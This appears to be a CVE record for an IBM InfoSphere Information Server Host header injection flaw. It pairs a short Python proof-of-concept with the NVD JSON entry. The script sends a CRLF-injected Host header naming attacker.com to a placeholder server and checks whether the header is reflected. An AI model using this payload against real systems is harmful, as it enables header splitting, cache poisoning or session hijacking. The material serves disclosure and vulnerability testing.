CVE-2025-14807

import requests def check_vulnerability(target_url): """ PoC for CVE-2025-14807: IBM InfoSphere Information Server Host Header Injection """ # Malicious Host header attempting to inject CRLF or XSS # This payload tries to inject a fake header or script malicious_host = "attacker.com\r\nX-Injected-Header: pwned" headers = { "Host": malicious_host, "User-Agent": "CVE-2025-14807-Scanner" } try: response = requests.get(target_url, headers=headers, timeout=10) # Check if the injected header appears in the response headers or body if "X-Injected-Header" in response.headers: return "[+] Vulnerability Confirmed: HTTP Header Splitting detected." elif "attacker.com" in response.text: return "[+] Potential Vulnerability: Host header reflected in response." else: return "[-] Vulnerability not detected." except requests.exceptions.RequestException as e: return f"[!] Error connecting to target: {e}" if __name__ == "__main__": target = "http://target-infosphere-server.com/" print(check_vulnerability(target))

{"cve": {"id": "CVE-2025-14807", "sourceIdentifier": "[email protected]", "published": "2026-03-25T21:16:23.607", "lastModified": "2026-03-26T18:23:37.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking."}, {"lang": "es", "value": "IBM InfoSphere Information Server 11.7.0.0 hasta 11.7.1.6 es vulnerable a la inyección de encabezados HTTP, causada por una validación incorrecta de la entrada por parte de los encabezados HOST. Esto podría permitir a un atacante llevar a cabo varios ataques contra el sistema vulnerable, incluyendo cross-site scripting, envenenamiento de caché o secuestro de sesión."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-644"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:infosphere_information_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.7.0.0", "versionEndIncluding": "11.7.1.6", "matchCriteriaId": "65FBF88B-61F0-4D42-A290-453FDC874D7F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:*", "matchCriteriaId": "E492C463-D76E-49B7-A4D4-3B499E422D89"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7267526", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}